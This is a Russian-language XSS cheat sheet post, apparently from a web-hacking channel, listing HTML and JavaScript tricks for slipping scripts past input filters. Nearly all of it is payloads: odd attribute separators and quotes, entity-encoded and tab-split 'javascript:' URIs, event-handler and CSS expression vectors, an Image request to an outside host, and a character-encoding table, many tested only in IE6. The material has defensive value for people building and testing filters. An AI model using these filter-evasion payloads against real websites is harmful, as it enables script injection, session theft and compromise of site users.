February 24, 2023

Справочник по XSS

Особенности синтаксиса HTML в проведении XSS атак.
Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы.
В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры.

Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать.
Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ ограничителем.

<li>Разделители атрибутов тега.
Помимо пробела, можно использовать символы:
слеш(<strong>/</strong>), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.

&lt;image/src="1.png"/alt="Подсказка"/border="0"&gt;
&lt;image	src="1.png"	alt="Подсказка"	border="0"&gt;
&lt;image
src="1.png"
alt="Подсказка"
border="0"&gt;

&lt;image src="1.png"alt="Подсказка"border="0"&gt;

<li>Ограничители атрибутов тега
Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.

&lt;image src="" alt="Моя подсказка" border="0"&gt;
&lt;image src="" alt='Моя подсказка' border="0"&gt;
&lt;image src="" alt=`Моя подсказка` border="0"&gt;
&lt;image src="" alt=Подсказка border="0"&gt;

<li>Кодировки символов
Расшифровка символов в скрипте происходит <em>до</em> его выполнения:

&lt;img src=javascript:alert(&amp;quot;ok&amp;quot;)&gt;
&lt;img src=javascript:alert(&amp;#039;ok&amp;#039;)&gt;
&lt;img src=&amp#106&amp#97&amp#118&amp#97&amp#115&amp#99&amp
#114&amp#105&amp#112&amp#116&amp#58&amp#97&amp#108&amp
#101&amp#114&amp#116&amp#40&amp#39&amp#111&amp#107&amp
#39&amp#41&gt;

&lt;a href=javascript:alert(%22ok%22)&gt;click me&lt;/a&gt; (только в атрибуте <strong>href</strong>)

<li>Ограничители символьных литералов в скриптах

&lt;img src=javascript:alert('ok')&gt;
&lt;img src=javascript:alert("ok")&gt;
&lt;img src=javascript:a=/ok/;alert(a.source)&gt;

&lt;img src=javascript:alert(String.fromCharCode(111,107))&gt;

<li>Обход фильтрации некоторых символов

&lt;img src=javascript:i=new/**/Image();i.src='http://bla.bla'&gt;(замена пробела на /**/)

<li>Способы запуска скриптов
Несколько способов автоматического запуска скриптов:

&lt;script&gt;alert('ok')&lt;/script&gt;

&lt;script src=1.js&gt;&lt;/script&gt;
&lt;body onLoad=alert('ok')&gt;
&lt;meta http-equiv=Refresh content=0;url=javascript:alert('ok')&gt;
&lt;image src=1.png onload=alert('ok')&gt;
&lt;image src=javascript:alert('ok')&gt;
&lt;image src="" onerror=alert('ok')&gt;
&lt;hr style=background:url(javascript:alert('ok'))&gt;
&lt;span style=top:expression(alert('ok'))&gt;&lt;/span&gt;

&lt;span sss="alert();this.sss=null" style=top:expression(eval(this.sss));&gt;&lt;/span&gt; (срабатывает только один раз)
&lt;style type="text/css"&gt;@import url(javascript:alert('ok'));&lt;/style&gt;
&lt;object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('ok')&gt;&lt;/object&gt;
&lt;embed src=javascript:alert('ok');this.avi&gt;
&lt;embed src=javascript:alert('ok');this.wav&gt;

&lt;iframe src=javascript:alert('ok')&gt; (только в IE)
&lt;a href=javascript:alert(%22ok%22)&gt;click me&lt;/a&gt; (запуск только при клике по ссылке)
&lt;a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')&gt;click me&lt;/a&gt;  (запуск только при клике по ссылке)

&lt;br SIZE="&{alert('XSS')}"&gt; (только Netscape 4.x)

<li>Различные скриптовые протоколы, способы их написания

&lt;img src=javascript:alert()&gt;
&lt;img src=vbscript:AleRt()&gt;
&lt;img src=JaVasCriPt:alert()&gt;
&lt;img src="   javascript:alert()"&gt; (пробелы до слова javascript) 

&lt;img src=&amp#106&amp#97&amp#118&amp#97&amp#115&amp#99&amp#114&amp#105&amp#112&amp#116:alert()&gt;
&lt;img src=javascript&amp#9:alert()&gt;
&lt;img src=javascript&amp#10:alert()&gt;

&lt;img src=javascript&amp#13:alert()&gt;
&lt;img src="javascript	:alert()"&gt;  (перед двоеточием - символ табуляции) 
&lt;img src="java	scri
pt:ale	rt()"&gt; (внутри слова javascript - символ табуляции и возврат каретки)

<li>Вставки скриптов в <strong>style</strong>
Операторы скрипта в атрибуте<strong> style</strong> нужно разделять "<strong>\;</strong>".

&lt;hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`&gt;

<li>Специальные теги.

&lt;image src="1.png" alt="" border="0"&gt; (тег img и image работают одинаково)
&lt;plaintext&gt; (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML)
&lt;textarea&gt; (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML)

&lt;xml&gt; (все, что будет идти после этого тега, не будет отображаться)

<li>Таблица часто применяемых кодов:

<TABLE border="1" cellPadding=2 cellSpacing=0>

<TR>
<TD><STRONG>Символ</STRONG></TD>
<TD><STRONG>Десятичная кодировка</STRONG> </TD>

<TD><STRONG>16-ая кодировка*</STRONG> </TD>
<TD><STRONG>Символьная кодировка</STRONG> </TD>
<TD><STRONG>URL-кодировка</STRONG></TD></TR>
<TR>
<TD>"</TD>
<TD>&amp;#34</TD>

<TD>&amp;#x22;</TD>
<TD>&amp;quot</TD>
<TD>%22</TD></TR>
<TR>
<TD>'</TD>
<TD>&amp;#39</TD>

<TD>&amp;#x27;</TD>
<TD> </TD>
<TD>%27</TD></TR>
<TR>
<TD>`</TD>
<TD>&amp;#96</TD>
<TD>&amp;#x60;</TD>

<TD> </TD>
<TD>%60</TD></TR>
<TR>
<TD>&lt;пробел&gt;</TD>
<TD>&amp;#32</TD>
<TD>&amp;#x20;</TD>
<TD> </TD>

<TD>+</TD></TR>
<TR>
<TD>&lt;табуляция&gt;</TD>
<TD>&amp;#9</TD>
<TD>&amp;#x09;</TD>
<TD> </TD>
<TD>%09</TD></TR>

<TR>
<TD>&lt;возврат каретки&gt;</TD>
<TD>&amp;#13</TD>
<TD>&amp;#x0D;</TD>
<TD> </TD>
<TD>%0D</TD></TR>
<TR>

<TD>=</TD>
<TD>&amp;#61</TD>
<TD>&amp;#x3D;</TD>
<TD> </TD>
<TD>%3D</TD></TR>
<TR>
<TD>&lt;</TD>

<TD>&amp;#60</TD>
<TD>&amp;#x3C;</TD>
<TD>&amp;lt</TD>
<TD>%3C</TD></TR>
<TR>
<TD>&gt;</TD>
<TD>&amp;#62</TD>

<TD>&amp;#x3E;</TD>
<TD>&amp;gt</TD>
<TD>%3E</TD></TR>
<TR>
<TD>\</TD>
<TD>&amp;#92</TD>

<TD>&amp;#x5C;</TD>
<TD> </TD>
<TD>%5C</TD></TR>
<TR>
<TD>%</TD>
<TD>&amp;#37</TD>
<TD>&amp;#x25;</TD>

<TD> </TD>
<TD>%25</TD></TR>
<TR>
<TD>+</TD>
<TD>&amp;#43</TD>
<TD>&amp;#x2B;</TD>
<TD> </TD>

<TD>%2B</TD></TR>
<TR>
<TD>&lt;короткий дефис&gt; </TD>
<TD>&amp;#173</TD>
<TD>&amp;#xAD;</TD>
<TD>&amp;shy</TD>

<TD>%AD</TD></TR>
<TR>
<TD>&amp;</TD>
<TD>&amp;#38</TD>
<TD>&amp;#x26;</TD>
<TD>&amp;amp</TD>
<TD>%26</TD></TR></TABLE>

*-в некоторых случаях точку с запятой
можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке).

Наш канал - https://t.me/webhack_kakao